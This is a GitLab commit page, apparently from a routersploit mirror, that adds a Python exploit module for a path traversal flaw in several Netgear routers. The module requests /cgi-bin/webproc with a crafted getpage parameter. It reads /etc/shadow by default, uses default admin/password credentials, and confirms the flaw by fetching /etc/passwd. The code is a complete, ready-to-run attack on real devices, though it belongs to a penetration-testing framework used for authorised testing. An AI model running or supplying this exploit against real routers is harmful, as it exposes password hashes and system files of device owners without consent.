Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
69633e63
Commit
69633e63
authored
Feb 24, 2017
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal exploit
parent
3824e462
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
69 additions
and
0 deletions
+69
-0
wnr500_612v3_jnr1010_2010_path_traversal.py
...loits/netgear/wnr500_612v3_jnr1010_2010_path_traversal.py
+69
-0
No files found.
routersploit/modules/exploits/netgear/wnr500_612v3_jnr1010_2010_path_traversal.py
0 → 100644
View file @
69633e63
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
http_request
,
mute
,
validators
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal vulnerability.
If the target is vulnerable, content of the specified file is returned.
"""
__info__
=
{
'name'
:
'Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal'
,
'description'
:
'Module exploits Netgear WNR500/WNR612v3/JNR1010/JNR2010 Path Traversal vulnerability which allows to read any file on the system.'
,
'authors'
:
[
'Todor Donev <todor.donev[at]gmail.com>'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.exploit-db.com/exploits/40737/'
,
],
'devices'
:
[
'Netgear WNR500'
,
'Netgear WNR612v3'
,
'Netgear JNR1010'
,
'Netgear JNR2010'
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
username
=
exploits
.
Option
(
'admin'
,
'Username to log in'
)
password
=
exploits
.
Option
(
'password'
,
'Password to log in'
)
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read'
)
def
run
(
self
):
if
self
.
check
():
url
=
"{}:{}/cgi-bin/webproc?getpage={}&errorpage=html/main.html&var:language=en_us&var:language=en_us&var:page=BAS_bpa"
.
format
(
self
.
target
,
self
.
port
,
self
.
filename
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
self
.
username
,
self
.
password
))
if
response
is
None
:
return
if
response
.
status_code
==
200
and
len
(
response
.
text
):
print_success
(
"Success! File:
%
s"
%
self
.
filename
)
print
response
.
text
else
:
print_error
(
"Exploit failed"
)
else
:
print_error
(
"Device seems to be not vulnerable"
)
@mute
def
check
(
self
):
url
=
"{}:{}/cgi-bin/webproc?getpage=/etc/passwd&errorpage=html/main.html&var:language=en_us&var:language=en_us&var:page=BAS_bpa"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
self
.
username
,
self
.
password
))
if
response
is
None
:
return
False
# target is not vulnerable
if
"root:"
in
response
.
text
:
return
True
# target vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment